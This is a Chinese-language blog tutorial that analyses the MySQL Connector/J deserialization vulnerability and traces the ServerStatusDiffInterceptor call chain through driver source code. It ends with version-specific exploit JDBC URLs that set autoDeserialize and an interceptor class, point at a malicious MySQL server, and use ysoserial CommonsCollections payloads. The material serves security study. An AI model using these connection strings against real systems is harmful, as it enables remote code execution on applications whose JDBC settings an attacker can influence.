JavaSec | JDBC反序列化原理和调用链细节分析

基础知识

JDBC简介

JDBC(Java Database Connectivity,Java 数据库连接)是 Java 语言中用来规范客户端如何访问数据库的应用程序接口,提供了诸如查询和更新数据在内的方法。JDBC 提供了一种基准,据此可以构建更高级的工具和接口,使数据库开发人员能够编写数据库应用程序。

在 JDBC 中,有四种主要的接口: DriverManager:这个类负责加载驱动,并处理数据库驱动的注册和选择。 Connection:这个接口提供了连接到数据库的方法。 Statement:这个接口提供了执行 SQL 语句的方法。 ResultSet:这个接口提供了处理 SQL 查询结果的方法。 这些接口齐全,基本可以处理与数据库相关的所有操作。

JDBC Connection

数据库的连接一般分为两个步骤 注册驱动,Class.forName(“数据库驱动的类名”)。 获取连接,DriverManager.getConnection(xxx)。 为什么需要注册驱动? 我们上面看了什么是jdbc,它是一个接口,帮助我们省去了底层的实现,我们只需要按照一定的步骤就可以完成mysql的连接,这个驱动就是其中步骤之一,注册驱动就会涉及到java.sql.DriverManager,它是用来管理所有驱动的注册,所以我们需要利用它注册驱动,然后使用getconnectionn方法去连接 JDBC定义了一个叫java.sql.Driver的接口,它其中的方法就是具体步骤的实现,所有的数据库驱动包都必须实现这个接口才能够完成数据库的连接操作。java.sql.DriverManager.getConnection(xx)其实就是间接的调用了java.sql.Driver类的connect方法实现数据库连接的。数据库连接成功后会返回一个叫做java.sql.Connection的数据库连接对象,一切对数据库的查询操作都将依赖于这个Connection对象。

下面是一个例子

String CLASS_NAME = "com.mysql.jdbc.Driver";String URL = "jdbc:mysql://localhost:3306/mysql"String USERNAME = "root";String PASSWORD = "root";Class.forName(CLASS_NAME);// 注册JDBC驱动类Connection connection = DriverManager.getConnection(URL, USERNAME, PASSWORD);

思考一些问题 为什么需要Class.forName? 如果我们调试跟进, :63, Driver (com.mysql.jdbc) forName0:-1, Class (java.lang) forName:264, Class (java.lang) main:7, test 它首先会通过反射然后类加载机制去加载我们的这个类,我们知道类加载后,会自动执行静态代码,我们看到静态的代码​​​​​​​

static { try { DriverManager.registerDriver(new Driver()); } catch (SQLException var1) { throw new RuntimeException("Can't register driver!"); } }

就会注册一个驱动。 所以经过调试我们可以使用两种方法代替上面的方法 如果反射某个类又不想初始化类方法有两种途径: 第一​​​​​​​

private static native Class<?> forName0(String name, boolean initialize,ClassLoader loader,Class<?> caller)
我们就可以这样Class.forName("xxxx", false, loader)

第二

ClassLoader.load("xxxx");

Class.forName可以省去吗? 当然可以,如果我们了解spi机制Java SPI(Service Provider Interface) 在JDBC中,SPI(Service Provider Interface)机制被用于在运行时动态地发现和加载数据库驱动。这实际上是Java中的一种服务发现机制。 你看名字,提供接口服务,比如我们调用DriverManager.getConnection() 方法时,JVM会自动的帮我们加载它实现的接口也就是java.sql.Driver所有的类,包括我们的Driver 类,所以就不需要自己再classforname了,来说说这个过程把,首先这个过程是由我们的ServiceLoader 类实现的,ServiceLoader 会搜索 META-INF/services 目录下的文件。如果文件名与 java.sql.Driver 相同,那么 ServiceLoader 就会认为文件中列出的所有类名都是 java.sql.Driver 的实现,然后尝试加载它们。

举个例子,对于MySQL数据库驱动,在其jar包的 META-INF/services 目录下,你会找到一个名为 java.sql.Driver 的文件,其内容就是驱动类的完全限定名 com.mysql.jdbc.Driver。于是,ServiceLoader 在加载 java.sql.Driver 时,会自动加载这个MySQL驱动类。

漏洞原理

若攻击者能控制JDBC连接设置项,则可以通过设置其配置指向恶意MySQL服务器触发ObjectInputStream.readObject(),构造反序列化利用链从而造成RCE。 通过JDBC连接MySQL服务端时,会有几句内置的查询语句需执行,其中两个查询的结果集在MySQL客户端进行处理时会被ObjectInputStream.readObject()进行反序列化处理。如果攻击者可以控制JDBC连接设置项,那么可以通过设置其配置指向恶意MySQL服务触发MySQL JDBC客户端的反序列化漏洞。 可被利用的两条查询语句:

SHOW SESSION STATUS SHOW COLLATION

JDBC连接参数

tatementInterceptors:连接参数是用于指定实现 com.mysql.jdbc.StatementInterceptor 接口的类的逗号分隔列表的参数。这些拦截器可用于通过在查询执行和结果返回之间插入自定义逻辑来影响查询执行的结果,这些拦截器将被添加到一个链中,第一个拦截器返回的结果将被传递到第二个拦截器,以此类推。在 8.0 中被queryInterceptors参数替代。 queryInterceptors:一个逗号分割的Class列表(实现了com.mysql.cj.interceptors.QueryInterceptor接口的Class),在Query”之间”进行执行来影响结果。(效果上来看是在Query执行前后各插入一次操作) autoDeserialize:自动检测与反序列化存在BLOB字段中的对象。 detectCustomCollations:驱动程序是否应该检测服务器上安装的自定义字符集/排序规则,如果此选项设置为“true”,驱动程序会在每次建立连接时从服务器获取实际的字符集/排序规则。这可能会显着减慢连接初始化速度。

JDBC代码分析连接过程

环境:mysql-connector-java-8.0.12 测试用例​​​​​​​

import java.sql.*;
public class test { public static void main(String[] args) throws Exception{ String CLASS_NAME = "com.mysql.jdbc.Driver"; String URL = "jdbc:mysql://localhost:3306/ljl"; String USERNAME = "root"; String PASSWORD = "root";
Class.forName(CLASS_NAME);// 注册驱动类 Connection connection = DriverManager.getConnection(URL, USERNAME, PASSWORD); }}

在getConnection下断点,我们跟进

图片

图片

像我们的info中放入passwd和username,然后再次调用我们的getConnection方法,第三个参数确保我们加载的是正确的类 来到更详细的getConnection方法​​​​​​​

lassLoader callerCL = caller != null ? caller.getClassLoader() : null; synchronized(DriverManager.class) { // synchronize loading of the correct classloader. if (callerCL == null) { callerCL = Thread.currentThread().getContextClassLoader(); } } if(url == null) { throw new SQLException("The url cannot be null", "08001"); } println("DriverManager.getConnection(\"" + url + "\")");

还是一样在判断我们是否加载了正确的类,然后检查参数是否为空,然后重点在

图片

我们首先在驱动中遍历我们的注册驱动,然后isDriverAllowed查看是否有权限去驱动,然后如果有就直接连接,我们跟进

图片

首先是进行一些判断,不符合,然后来到我们的解析url,解析如下为数组的形式,然后调用我们的 ConnectionImpl.getInstance,传入我们刚刚解析的参数

刚刚忘换版本了,但是还是大差不差的,现在接着新版本讲,有些许差异

解析完后我们回到NonRegisteringDriver​​​​​​

switch (conStr.getType()) { case SINGLE_CONNECTION: return ConnectionImpl.getInstance(conStr.getMainHost()); case LOADBALANCE_CONNECTION: return LoadBalancedConnectionProxy.createProxyInstance((LoadbalanceConnectionUrl)conStr); case FAILOVER_CONNECTION: return FailoverConnectionProxy.createProxyInstance(conStr); case REPLICATION_CONNECTION: return ReplicationConnectionProxy.createProxyInstance((ReplicationConnectionUrl)conStr); default: return null; }

获取type,这里是第一个,然后调用ConnectionImpl.getInstance,我们先看看参数

图片

然后进入方法

public static JdbcConnection getInstance(HostInfo hostInfo) throws SQLException { return new ConnectionImpl(hostInfo); }

返回一个新的ConnectionImpl对象,我们跟进构造方法 其中重要部分​​​​​​​

this.props = hostInfo.exposeAsProperties(); this.propertySet = new JdbcPropertySetImpl(); this.propertySet.initializeProperties(this.props);

exposeAsProperties()方法就是​​​​​​

props.setProperty(PropertyKey.HOST.getKeyName(), this.getHost()); props.setProperty(PropertyKey.PORT.getKeyName(), String.valueOf(this.getPort())); props.setProperty(PropertyKey.USER.getKeyName(), this.getUser()); props.setProperty(PropertyKey.PASSWORD.getKeyName(), this.getPassword());

解析我们的值

图片

然后实例化JdbcPropertySetImpl对象,会调用父类构造方法

图片

遍历PropertyDefinitions.PROPERTY_NAME_TO_PROPERTY_DEFINITION的值,依次存放进PROPERTY_NAME_TO_RUNTIME_PROPERTY

这些值正是数据库所允许提供的扩展参数,也就是query需要的地方 也正是这里造成了下面的漏洞

mysql JDBC 中包含一个危险的扩展参数: autoDeserialize。这个参数配置为true时,JDBC客户端将会自动反序列化服务端返回的BLOB类型字段

利用链分析

ServerStatusDiffInterceptor链

代码部分

先启动mysql服务

C:\Users\86135\Desktop\gj\MySQL_Fake_Server-master>python server.py

运行代码java代码​​​​​​​

import java.sql.*;public class Test { public static void main(String[] args) throws Exception { Class.forName("com.mysql.jdbc.Driver"); String jdbc_url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"; Connection con = DriverManager.getConnection(jdbc_url, "root", "root"); }}

即可弹出计算器

简单的逻辑

先给出栈堆​​​​​​​

getObject:1333, ResultSetImpl (com.mysql.cj.jdbc.result)resultSetToMap:46, ResultSetUtil (com.mysql.cj.jdbc.util)populateMapWithSessionStatusValues:87, ServerStatusDiffInterceptor (com.mysql.cj.jdbc.interceptors)preProcess:105, ServerStatusDiffInterceptor (com.mysql.cj.jdbc.interceptors)preProcess:76, NoSubInterceptorWrapper (com.mysql.cj)invokeQueryInterceptorsPre:1137, NativeProtocol (com.mysql.cj.protocol.a)sendQueryPacket:963, NativeProtocol (com.mysql.cj.protocol.a)sendQueryString:914, NativeProtocol (com.mysql.cj.protocol.a)execSQL:1150, NativeSession (com.mysql.cj)setAutoCommit:2064, ConnectionImpl (com.mysql.cj.jdbc)handleAutoCommitDefaults:1382, ConnectionImpl (com.mysql.cj.jdbc)initializePropsFromServer:1327, ConnectionImpl (com.mysql.cj.jdbc)connectOneTryOnly:966, ConnectionImpl (com.mysql.cj.jdbc)createNewIO:825, ConnectionImpl (com.mysql.cj.jdbc):455, ConnectionImpl (com.mysql.cj.jdbc)getInstance:240, ConnectionImpl (com.mysql.cj.jdbc)connect:207, NonRegisteringDriver (com.mysql.cj.jdbc)getConnection:664, DriverManager (java.sql)getConnection:247, DriverManager (java.sql)main:8, Test

其实这个重点是python脚本的编写,理解链子是更好去理解如何编写python的poc,java的poc就很ez的,这里就简单分析一下 com.mysql.cj.jdbc.result.ResultSetImpl.getObject()时看到了readobject方法,主要逻辑如下​​​​​​

public Object getObject(int columnIndex) throws SQLException { Field field = this.columnDefinition.getFields()[columnIndexMinusOne]; switch (field.getMysqlType()) { case BIT: //判断数据是不是blob或者二进制数据 if (field.isBinary() || field.isBlob()) { byte[] data = getBytes(columnIndex); //获取连接属性的autoDeserialize是否为true if (this.connection.getPropertySet().getBooleanProperty(PropertyDefinitions.PNAME_autoDeserialize).getValue()) { Object obj = data; //data长度大于等于2是为了下一个判断. if ((data != null) && (data.length >= 2)) { if ((data[0] == -84) && (data[1] == -19)) { //上面已经分析过了,就是识别是不是序列化后的对象 // Serialized object?  //下面就是反序列化对象了. try { ByteArrayInputStream bytesIn = new ByteArrayInputStream(data); ObjectInputStream objIn = new ObjectInputStream(bytesIn); obj = objIn.readObject(); objIn.close(); bytesIn.close(); } } } return obj; } return data; }

怎么调用它,ServerStatusDiffInterceptor是一个拦截器,在JDBC URL中设定属性queryInterceptors为ServerStatusDiffInterceptor时,执行查询语句会调用拦截器的preProcess和postProcess方法,进而通过上述调用链最终调用getObject()方法。

图片

在JDBC连接数据库的过程中,会调用SHOW SESSION STATUS去查询,然后对结果进行处理的时候会调用resultSetToMap

图片

到这里我们已经找到了一个利用链了.设置拦截器,然后进入到getObject,在getObject中,只要autoDeserialize 为True.就可以进入到最后readObject中. 这也是POC中的queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true的由来.

详细分析

我们执行上面的程序的时候弹了四次计算器,我们来分析 从getConnecttion入口进去后,使用com.mysql.cj.jdbc.Driver 连接。

图片

然后ConnectionUrl conStr = ConnectionUrl.getConnectionUrlInstance(url, info);来构造URL对象其中会对我们的参数解析​​​​​​​

ConnectionUrlParser connStrParser = ConnectionUrlParser.parseConnectionString(connString);scheme -> jdbc:mysql:(数据库连接类型)authority -> host:portpath -> 数据库query -> 查询语句(带入的参数)

根据case进入,我们这里是登录,所以进入第一个

ConnectionImpl.getInstance(conStr.getMainHost());

传入我们的Host部分

图片

内部会实例化一个对象

return new ConnectionImpl(hostInfo);

初始化一些值

图片

把我们相关的值初始化到propertySet中 然后 this.session = new NativeSession(hostInfo, this.propertySet);实例化一个NativeSession对象,把我们的值传入,就是保存当前我们的session状态吧。 然后到重要的this.createNewIO(false);创建一个到服务器的IO通道,内部是判断我们通道是并发还是单发,会有一个这样的调用链

connectOneTryOnly()->initializePropsFromServer()->handleAutoCommitDefaults()->setAutoCommit()

初始化服务器的操作,设置自动自动提交 在setAutoCommit有执行sql语句的操作this.session.execSQL((Query)null, autoCommitFlag ? "SET autocommit=1" : "SET autocommit=0", -1, (NativePacketPayload)null, false, this.nullStatementResultSetFactory, this.database, (ColumnDefinition)null, false); 内部使用NativeProtocol对象的sendQueryString 方法来发送查询((NativeProtocol)this.protocol).sendQueryString

会return this.sendQueryPacket,继续看到这个方法​​​​​​​

if (this.queryInterceptors != null) { T interceptedResults = this.invokeQueryInterceptorsPre(query, callingQuery, false); if (interceptedResults != null) { Resultset var41 = interceptedResults; return var41; } }

检查我们的queryInterceptors拦截器属性值是否为null不为null,就会调用invokeQueryInterceptorsPre 方法 随后触发该拦截器的preProcess 方法T interceptedResultSet = interceptor.preProcess 然后会触发到populateMapWithSessionStatusValues方法​​​​​​​

rs = stmt.executeQuery("SHOW SESSION STATUS"); ResultSetUtil.resultSetToMap(toPopulate, rs);

执行一次 SHOW SESSION STATUS 查询,并将结果返回给ResultSetUtil.

resultSetToMap​​​​​​​

public static void resultSetToMap(Map mappedValues, ResultSet rs) throws SQLException { while(rs.next()) { mappedValues.put(rs.getObject(1), rs.getObject(2)); }

会调用rs的getObject方法,这个方法上面也讲了,可以反序列化我们的恶意数据,但是有个前提

if (!(Boolean)this.connection.getPropertySet().getBooleanProperty("autoDeserialize").getValue())

这个if需要为ture,也就是我们的autoDeserialize 调用一次getobject会反序列化一次,触发一次计算器 这里执行一个sql语句就触发两次,因为连接的时候会执行两个sql语句,所以触发四次计算器 这里就分析完了

payload为什么要这样写?

第一autoDeserialize=true ResultSetImpl 对象的中,需要有jdbc连接的autoDeserialize 属性为true,才会进入反序列化。

图片

第二queryInterceptors=… NativeProtocol对象的queryInterceptors 属性不为null,

图片

才会调用这个方法 先前的ConnectionImpl对象中,初始化了一个NativeSession对象,后续的与服务器连接中都跟他有关系。然后调用

initializeSafeQueryInterceptors 初始化查询拦截器。

图片

这里需要jdbc连接的属性中queryInterceptors 的值来加载类。所以这里要指定拦截器的类名,我们刚刚所调用的拦截器的方法,其实是在com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor 类中。

poc总结

8.0.20之后链子没有了

com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues不再调用resultSetToMap()即getObject()。此利用链失效 8.0.XX​​​​​​​

java \-cp "mysql-connector-java-8.0.14.jar:commons-collections-3.1.jar:." \JDBCClient "jdbc:mysql://192.168.65.23:3306/evildb?useSSL=false&user=root&password=123456&\autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"

6.x queryInterceptors => statementInterceptors​​​​​​​

java \-cp "mysql-connector-java-6.0.3.jar:commons-collections-3.1.jar:." \JDBCClient "jdbc:mysql://192.168.65.23:3306/evildb?useSSL=false&user=root&password=123456&\autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"

5.1.11及以上版本 com.mysql.cj. => com.mysql.​​​​​​​

java \-cp "mysql-connector-java-5.1.40.jar:commons-collections-3.1.jar:." \JDBCClient "jdbc:mysql://192.168.65.23:3306/evildb?useSSL=false&user=root&password=123456&\autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor"

5.1.0-5.1.10 连接后需要执行​​​​​​​

String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc";String username = "yso_CommonsCollections4_calc";String password = "";Class.forName("com.mysql.jdbc.Driver");conn = DriverManager.getConnection(url,username,password);String sql = "select database()";PreparedStatement ps = conn.prepareStatement(sql);//执行查询操作,返回的是数据库结果集的数据表ResultSet resultSet = ps.executeQuery();

 

   无偿 获 取 网 安 资 料:

 申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/20268.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

【氮化镓】用于低压射频电源的具有80.4% PAE的Si基E-Mode AlN/GaN HEMT

引言 本文是一篇关于增强型(E-mode)AlN/GaN高电子迁移率晶体管(HEMTs)的研究论文,晶体管是在硅衬底上制造的,并在3.6 GHz频率下展示了80.4%的峰值功率附加效率(PAE)。文章首先介绍了GaN器件在微波和毫米波功率放大器中的应用,特别是在雷达、卫星通信和民用移动通信系…

刚刚!EI目录更新,213本期刊停止收录

刚刚&#xff0c;EI Compendex数据库发布了最新版收录期刊目录。 目录实际更新时间为2024年11月1日 2024年截止11月份EI数据库已更新3次&#xff0c;更新时间分别为2024年1月、2024年8月和2024年11月。 本次目录共收录期刊5643本&#xff0c;其中包含Journal类型4359本、Pr…

L0G2000 Python 基础知识

力扣用python3解题383. 赎金信 https://leetcode.cn/problems/ransom-note/description/ 题目&#xff1a; 给你两个字符串&#xff1a;ransomNote 和 magazine &#xff0c;判断 ransomNote 能不能由 magazine 里面的字符构成。 如果可以&#xff0c;返回 true &#xff1b;否…

STM32设计防丢防摔智能行李箱-分享

目录 目录 前言 一、本设计主要实现哪些很“开门”功能&#xff1f; 二、电路设计原理图 1.电路图采用Altium Designer进行设计&#xff1a; 2.实物展示图片 三、程序源代码设计 四、获取资料内容 前言 随着科技的不断发展&#xff0c;嵌入式系统、物联网技术、智能设备…

同步互斥相关习题2 8道 含详解

14 一组进程的执行顺序如下图所示&#xff0c;圆圈P1&#xff0c;P2&#xff0c;P3&#xff0c;P4&#xff0c;P5&#xff0c;P6表示进程&#xff0c;弧上的字母a,b&#xff0c;c, d,e,f,g,h表示同步信号量&#xff0c;请用P&#xff0c;V操作实现进程的同步。 semaphore a …

CDH大数据平台搭建

各大开源以及商用厂商的大数据产品汇总&#xff1a; https://zhuanlan.zhihu.com/p/675011462 Ambari 界面&#xff1a; 一、安装一个新的虚拟机 配置要求&#xff1a;8核&#xff0c;10G内存&#xff0c;最好是200G 修改yum源&#xff1a; 修改阿里云的镜像文件&#xff1…

500左右的骨传导耳机哪个牌子好?用户体验良好的五大骨传导耳机

作为一名拥有十几年从业经验的科技爱好者&#xff0c;我主要想告诉大家一些关于骨传导耳机的知识。其中&#xff0c;要远离所谓的不专业产品&#xff0c;它们的佩戴不适和音质不佳问题高得吓人&#xff0c;尤其是很多宣称能提供舒适佩戴和高音质的产品&#xff0c;超过九成的用…

【YOLOv11改进[注意力]】引入DA、FCA、SA、SC、SE + 含全部代码和详细修改方式

本文将进行在YOLOv11中引入DA、FCA、SA、SC、SE魔改v11,文中含全部代码、详细修改方式。助您轻松理解改进的方法。 一 DA、FCA、SA、SC、SE ① DA 论文:Dual Attention Network for Scene Segm

捉虫笔记(六)-谁把系统卡住了?

06-谁把系统卡住了&#xff1f; 1、现象 QA反馈&#xff0c;在软件退出的时候&#xff0c;会把整个系统卡住&#xff0c;将近40s。我第一反应这么离谱&#xff0c;我们的软件有这么大的“魅力”&#xff0c;将老大哥抖三抖。 我立马重现现场&#xff0c;果然如此。虽然没有Q…

网络安全之信息收集-实战-2

请注意&#xff0c;本文仅供合法和授权的渗透测试使用&#xff0c;任何未经授权的活动都是违法的。 目录 7、网络空间引擎搜索 8、github源码泄露 9、端口信息 10、框架指纹识别 11、WAF识别 12、后台查找 7、网络空间引擎搜索 FOFA&#xff1a;https://fofa.info/ 360 …

51c自动驾驶~合集30

我自己的原文哦~ https://blog.51cto.com/whaosoft/12086789 #跨越微小陷阱&#xff0c;行动更加稳健 目前四足机器人的全球市场上&#xff0c;市场份额最大的是哪个国家的企业&#xff1f;A.美国 B.中国 C.其他 波士顿动力四足机器人 云深处 绝影X30 四足机器人 &#x1f…

Java学习笔记--数组常见算法:数组翻转,冒泡排序,二分查找

一&#xff0c;数组翻转 1.概述:数组对称索引位置上的元素互换&#xff0c;最大值数组序号是数组长度减一 创建跳板temp&#xff0c;进行min和max的互换&#xff0c;然后min自增&#xff0c;max自减&#xff0c;当min>max的时候停止互换&#xff0c;代表到中间值 用代码实…

jquery 链模式调用简易实现

<script>// 定义一个名为A的构造函数&#xff0c;接受selector和context参数var A function (selector, context) {// 返回一个新的A.fn.init实例return new A.fn.init(selector, context);}// 设置A的原型和fn属性A.fn A.prototype { // 强化构造器:// 当显式地重写 …

无人机侦察打击方案(1)

​​​​​ 概述 任务来源于无人机侦察研制任务&#xff0c;涵盖无人机目标昼夜识别与跟踪、目标定位等功能任务。 组成及功能 无人机侦察系统设备构成如下图所示&#xff0c;分为光电云台、激光打击设备与操控端构成。 图 1 设备组成与链路 光电云台完成无人机目标自主识别…

Windows 系统通过 MSTSC 上传文件到 Windows 云服务器

操作场景 文件上传 Windows 云服务器的常用方法是使用 MSTSC 远程桌面连接&#xff08;Microsoft Terminal Services Client&#xff09;。本文档指导您使用本地 Windows 计算机通过远程桌面连接&#xff0c;将文件上传至 Windows 云服务器。 前提条件 请确保 Windows 云服务…

激光雷达定位初始化的另外一个方案 通过键盘按键移动当前位姿 (附python代码)

通常使用的是通过在 rviz 中点选指定初始化位置和方向来完成点云的初始化匹配。 但是这种粗略的初始化方法有时候可能不成功,因此需要使用准确的初始化方法,以更好的初始值进行无损检测配准。 为了提供更好的匹配初始值,我使用 Python 脚本获取键盘输入,并不断调整这个匹配…

枚举与lambda表达式,枚举实现单例模式为什么是安全的,lambda表达式与函数式接口的小九九~

目录 认识枚举 全文重点&#xff1a;枚举在单例模式中为什么是安全的&#xff1f; Lambda 表达式 概念&#xff1a; 函数式接口 lambda表达式的基本使用&#xff1a; lambda表达式的语法精简&#xff1a; lambda表达式的变量捕获 Lambda在集合当中的使用 在 Collecti…

【JAVA】一次操蛋的nginx镜像之旅

一、前言 由于我们的项目中使用到了nginx&#xff0c;同时我们的nginx是通过docker镜像进行安装的&#xff0c;由于nginx出现了问题&#xff0c;需要重新安装。于是。。。 二、通过docker进行安装 docker pull nginx:latest 1.5.2 脚本文件 在/home/docker/script路径下创…

高并发场景下的热点key问题探析与应对策略

目录 一、问题描述 二、发现机制 三、解决策略分析 &#xff08;一&#xff09;解决策略一&#xff1a;多级缓存策略 客户端本地缓存 代理节点本地缓存 &#xff08;二&#xff09;解决策略二&#xff1a;多副本策略 &#xff08;三&#xff09;解决策略三&#xff1a;热点…

.NET 9 的新增功能

文章目录 前言一、.NET 运行时二、序列化三、缩进选项四、默认 Web 选项五、LINQ六、集合七、PriorityQueue.Remove() 方法八、密码九、CryptographicOperations.HashData() 方法十、KMAC 算法十一、反射十二、性能十三、循环优化十四、本机 AOT 的内联改进十五、PGO 改进&…